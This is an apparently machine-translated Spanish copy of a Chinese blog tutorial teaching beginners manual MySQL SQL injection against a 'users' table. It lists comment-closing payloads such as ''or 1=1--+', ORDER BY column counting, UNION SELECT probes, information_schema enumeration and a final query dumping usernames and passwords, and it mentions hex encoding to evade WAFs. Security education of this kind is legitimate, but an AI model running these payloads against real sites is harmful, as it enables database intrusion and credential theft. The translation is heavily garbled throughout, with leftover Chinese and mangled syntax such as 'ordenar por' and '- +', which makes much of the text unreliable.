Novice Science | El proceso de inyección básico de la inyección manual de MySQL

Los pasos básicos de la inyección manual MySQL y el registro de algunas técnicas. Al aprender la inyección manual, los artículos en Internet son desiguales, lo que hace que la comprensión de la inyección manual durante mucho tiempo haya estado en un estado de poca comprensión, por la presente registre este artículo, Dejemos que Xiaobai Evitemos los desvíos. Este artículo es solo para la inyección manual de Xiaobai, y la vaca grande evita el rocío ligero.

paso

Comentario o declaración de cierre

En primer lugar, observe el siguiente código fuente de consulta de la declaración SQL básica:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

Los siguientes pasos usan esta instrucción SQL básica por defecto. Otros métodos de inyección cambian la sopa sin cambiar el medicamento. Aquí solo quiero ordenar los pasos inyectados y las declaraciones clave.

Declaración citada

id =1 ' and '1' ='1

La declaración SQL incorporada al código fuente es:

SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1

Comentar después de la oración

Carga útil de anotaciones de uso común

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换,url 提交过程中 Url 编码后的#为%23

La declaración SQL incorporada al código fuente es:

SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1

De esta forma, podemos ver que las siguientes declaraciones están comentadas directamente, generalmente hay más comentarios en los combates reales.

y verificar

Por supuesto, aquí y la verificación o la verificación son posibles, hay poca diferencia entre los dos: la página vuelve a la normalidad

?id=1' and 1=1 --+ 
?id=1' or 1=2 --+

La página vuelve de forma anormal

?id=1' and 1=2 --+
?id=1' or 1=1 --+

Si se encuentra que la página es normal al principio y luego anormal, significa que hay una inyección en la página. Por supuesto, este es el método de juicio más básico.Cuando la ciega apuesta más tarde, la función de retraso se utiliza para observar el tiempo de retorno de la página.

Número de campos de consulta

El número de campos de consulta utiliza principalmente el orden por en MySQL para determinar el número de campos. El orden por generalmente utiliza una búsqueda de mitad y mitad en matemáticas para determinar el número de campos específicos. Esto será muy eficiente. Lo siguiente asume ese orden by se utiliza para determinar la inyección de un campo desconocido.

? id = 1 'ordenar por 1 - + En este momento, la página es normal, continuar probando con un número mayor? id = 1' ordenar por 10 - + En este momento, la página devuelve un error, reemplazar con un número más pequeño para probar? id = 1 'ordenar por 5 - + En este momento, la página todavía informa un error, continuar reduciendo el valor test? id = 1' ordenar por 3 - + En este momento, la página vuelve a la normalidad, reemplácelo con un número mayor test? id = 1 'orden por 4 - + this Cuando la página devuelve un error, 3 es normal, 4 es incorrecto, lo que indica que el número de campos es 3

Determine el número de campos mediante búsqueda matemática a la mitad.

Consulta conjunta

UNION SELECT Consulta conjunta, inyección manual de oraciones clásicas, la función es UNIONconectar posteriormente nuestra oración de inyección maliciosa y llevarla a la base de datos para su consulta. Debido a que el número de campos es :, 3entonces la declaración formal es la siguiente:

?id=1' UNION SELECT 1,2,3 --+

Esta página no reportará un error. En este momento, la declaración que traemos a la base de datos es:

La instrucción SELECT 1,2,3 no tiene significado, por lo que la página vuelve a la normalidad.

consulta de unión

Pero para recopilar información, tenemos que conocer el valor en la página actual, qué campo de la base de datos se llama, y ​​podemos construir deliberadamente una declaración incorrecta para explotar el campo incorrecto:

id = -1 'UNION SELECT 1,2,3 - + Pass id = -1 Un valor de id negativo que no existe para desencadenar un error id = 1' y 1 = 2 UNION SELECT 1,2,3 - + Pasa y 1 = 2 declaración para desencadenar un error id = 1 'o 1 = 1 UNION SELECT 1,2,3 - + o 1 = 1 declaración para desencadenar un error

Se puede ver que el número de campo específico ha sido expuesto. Aquí está la explosión 2e 3ingrese a la base de datos MySQL para ver la estructura de campo de esta tabla:

La estructura perfecta de las tablas de la base de datos se verifica antes del número de error de ráfaga 2y 3, donde las cifras representan el campo, corresponden a los valores del campo es: usernamey password.

recopilar información

El valor del campo se puede reemplazar con nuestra declaración maliciosa. La etapa inicial es principalmente para recopilar información, incluso juzgar si la base de datos actual es el usuario root, la versión de MySQL, etc. Generalmente, algunas funciones de MySQL se utilizan para recopilar información para recopilar esta información: Funciones del sistema de uso común de MySQL

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

Consultar el nombre de la base de datos actual

id=1' and 1=2 UNION SELECT 1,database(),3 --+

Consultar versión de MySQL

id=1' and 1=2 UNION SELECT 1,2,version() --+

Consultar usuario y ruta de la base de datos

id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+

Base de datos de consultas

Consulta la base de datos.En general, lo que necesitamos verificar al inyectar es la base de datos actual, pero a veces la autoridad raíz es NB y puedes ver el contenido de la base de datos fuera de la base de datos del sitio web. Consultar la base de datos actual

id=1' and 1=2 UNION SELECT 1,2,database() --+

Obtenga el nombre de la base de datos actual como: securityConsultar todas las bases de datos A veces, no puede evitar querer ver el contenido de otras bases de datos, puede usar esta declaración para consultar todas las bases de datos:

id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+

group_concatLas funciones se utilizan aquí . Dado que el posicionamiento de este artículo es un paso de inyección manual, no explicaré el uso de dichas funciones en detalle aquí. Para comprender las funciones relacionadas, consulte mi otro artículo: Inyección manual de MySQL de funciones de cadena comunes

Nombre de la tabla de búsqueda

base de datos de consulta de base de datos

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

Base de datos de cotizaciones simples

La database()función aquí realiza una consulta a la base de datos, porque hemos encontrado la base de datos actual security, por lo que también puede escribirla aquí. Use comillas simples para encerrar el nombre de la base de datos 'security':

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

base de datos de codificación hexadecimal

Si es problemático incluir comillas simples, ¡qué coincidencia! Aquí hay un método más problemático, que consiste en hexcodificar el nombre de la base de datos . Utilice el HackBarcomplemento que viene con Firefox para hexcodificar rápidamente :

hexAgregar antes de la codificación 0xindica que se trata de una codificación hexadecimal.

El método de concentración principal actual es más o menos así, y hay algunos métodos de group_concatescritura primero hexadecimales y luego no hexadecimales, que se dice que pueden omitir la clase waf  . No se usa con mucha frecuencia aquí y no se repetirá aquí. De la misma manera, estos métodos también se pueden usar en los nombres de las columnas de la base de datos de consultas, y debes aprender a aprender a usarlos de manera flexible.

Nombre de la columna de consulta

La información recopilada actualmente es:

Nombre de la base de datos: nombre de la tabla de la base de datos de seguridad: correos electrónicos, referencias, uagents, usuarios

Como hacker, debes tener un agudo sentido del olfato (perro manual). Generalmente, continuaremos adivinando las userstablas en estas tablas. El siguiente método es similar a consultar la base de datos para consultar el nombre de la columna. El principio es  MySQLque information_schemahabrá información relevante de todas las bases de datos en la siguiente :

Ahora que está todo aquí, aquí hay una lista de la information_schemainformación más crítica en la inyección manual de MySQL :

Registrar información sobre la base de datos

schemataEl schema_nameregistro en la tabla debajo de la base de datos information_schema  es 数据库el nombre de cada uno :

Aquí no solo se registra  tablesla table_schematabla debajo de la base de datos, sino también el nombre de cada base de datos:

Registrar información sobre la hoja de datos

tablesEl table_nameregistro en la tabla debajo de la base de datos information_schema  es 数据表el nombre de cada uno :

Aquí está la hermosa línea divisoria. Me sorprendió. En un abrir y cerrar de ojos, no pude evitar tirar tanto. No hablemos de ello directamente para consultar los nombres de las columnas debajo de la tabla de usuarios.

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

Valor del campo de consulta

Dado que hay mucha verbosidad en los nombres de las columnas de consulta, los principios básicos se han escrito en ella, aquí hay una carga útil simple:

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+

Ahora que conoce la base de datos, el nombre de la tabla y el nombre del campo, puede realizar consultas directamente sin utilizar la information_schanembase de datos.

Breve colación

Originalmente planeé escribirlo en los pasos anteriores, pero no pude evitar escribir demasiado. Así que abrí un título para una breve colación:

ordenar por - + Determinar el número de campos

selección de unión - + consulta de unión para recopilar información

id = 1 'y 1 = 2 UNION SELECT 1,2, database () - + Consulta la base de datos actual

id = 1 'y 1 = 2 UNION SELECT 1,2, group_concat (schema_name) from information_schema.schemata - + Consultar todas las bases de datos

id = 1 'y 1 = 2 UNION SELECT 1,2, group_concat (table_name) from information_schema.tables donde table_schema = database () - + 查询 表 名

id = 1 'y 1 = 2 UNION SELECT 1,2, group_concat (column_name) from information_schema.columns donde table_name =' usuarios '- + 查询 列 名

id = 1 'y 1 = 2 UNION SELECT 1,2, group_concat (id, nombre de usuario, contraseña) de los usuarios - + valor del campo de consulta

Supongo que te gusta

Origin blog.csdn.net/THMAIL/article/details/107805357
Recomendado
Clasificación